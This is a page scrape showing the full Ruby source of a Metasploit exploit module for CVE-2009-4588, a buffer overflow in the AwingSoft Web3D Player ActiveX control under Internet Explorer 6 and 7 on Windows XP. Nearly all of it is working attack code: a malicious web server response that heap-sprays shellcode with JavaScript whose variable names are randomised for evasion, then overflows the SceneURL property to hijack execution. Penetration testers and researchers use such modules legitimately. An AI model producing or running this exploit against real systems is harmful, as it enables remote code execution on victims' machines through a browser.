Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/browser/awingsoft_web3d_bof.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45##6# awingsoft_web3d_bof.rb7#8# AwingSoft Web3D Player 'SceneURL()' Buffer Overflow exploit for the Metasploit Framework9#10# Tested successfully on the following platforms:11# - Internet Explorer 6, Windows XP SP212# - Internet Explorer 7, Windows XP SP313#14# WindsPly.ocx versions tested:15# - 3.0.0.516# - 3.5.0.017# - 3.6.0.0 (beta)18#19# Trancer20# http://www.rec-sec.com21##2223class MetasploitModule < Msf::Exploit::Remote24Rank = AverageRanking2526include Msf::Exploit::Remote::HttpServer::HTML2728def initialize(info = {})29super(update_info(info,30'Name' => 'AwingSoft Winds3D Player SceneURL Buffer Overflow',31'Description' => %q{32This module exploits a data segment buffer overflow within Winds3D Viewer of33AwingSoft Awakening 3.x (WindsPly.ocx v3.6.0.0). This ActiveX is a plugin of34AwingSoft Web3D Player.35By setting an overly long value to the 'SceneURL' property, an attacker can36overrun a buffer and execute arbitrary code.37},38'License' => MSF_LICENSE,39'Author' =>40[41'shinnai <shinnai[at]autistici.org>', # Original exploit [see References]42'Trancer <mtrancer[at]gmail.com>', # Metasploit implementation43'jduck'44],45'References' =>46[47[ 'CVE', '2009-4588' ],48[ 'OSVDB', '60017' ],49[ 'EDB', '9116' ],50[ 'URL', 'http://www.rec-sec.com/2009/07/28/awingsoft-web3d-buffer-overflow/' ]51],52'DefaultOptions' =>53{54'EXITFUNC' => 'process'55},56'Payload' =>57{58'Space' => 1024,59'BadChars' => "\x00\x09\x0a\x0d'\\",60'StackAdjustment' => -350061},62'Platform' => 'win',63'Targets' =>64[65# data segment size: 7618066# crasher offsets: 2640, 2712, 8984, 68420, 6842467[ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C, 'Offset' => 8984 } ]68],69'DisclosureDate' => '2009-07-10',70'DefaultTarget' => 0))71end7273def on_request_uri(cli, request)7475# Re-generate the payload76return if ((p = regenerate_payload(cli)) == nil)7778# Encode the shellcode79shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))8081# Setup exploit buffers82nops = Rex::Text.to_unescape([target.ret].pack('V'))83ret = Rex::Text.uri_encode([target.ret].pack('V'))84blocksize = 0x4000085fillto = 50086offset = target['Offset']8788# Randomize the javascript variable names89winds3d = rand_text_alpha(rand(100) + 1)90j_shellcode = rand_text_alpha(rand(100) + 1)91j_nops = rand_text_alpha(rand(100) + 1)92j_ret = rand_text_alpha(rand(100) + 1)93j_headersize = rand_text_alpha(rand(100) + 1)94j_slackspace = rand_text_alpha(rand(100) + 1)95j_fillblock = rand_text_alpha(rand(100) + 1)96j_block = rand_text_alpha(rand(100) + 1)97j_memory = rand_text_alpha(rand(100) + 1)98j_counter = rand_text_alpha(rand(30) + 2)99100# we must leave the page, so we use http-equiv and javascript refresh methods101html = %Q|<html>102<head><meta http-equiv="refresh" content="1;URL=#{get_resource}"></head>103<object classid='clsid:17A54E7D-A9D4-11D8-9552-00E04CB09903' id='#{winds3d}'></object>104<script>105#{j_shellcode}=unescape('#{shellcode}');106#{j_nops}=unescape('#{nops}');107#{j_headersize}=20;108#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;109while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};110#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});111#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});112while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};113#{j_memory}=new Array();114for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};115116var #{j_ret} = unescape('#{ret}');117while (#{j_ret}.length <= #{offset}) { #{j_ret} = #{j_ret} + unescape('#{ret}'); }118#{winds3d}.SceneURL = #{j_ret};119setTimeout('window.location = "#{get_resource}";', 500);120</script>121</html>122|123124print_status("Sending #{self.name}")125126# Transmit the response to the client127send_response(cli, html, { 'Content-Type' => 'text/html' })128129# Handle the payload130handler(cli)131end132end133134135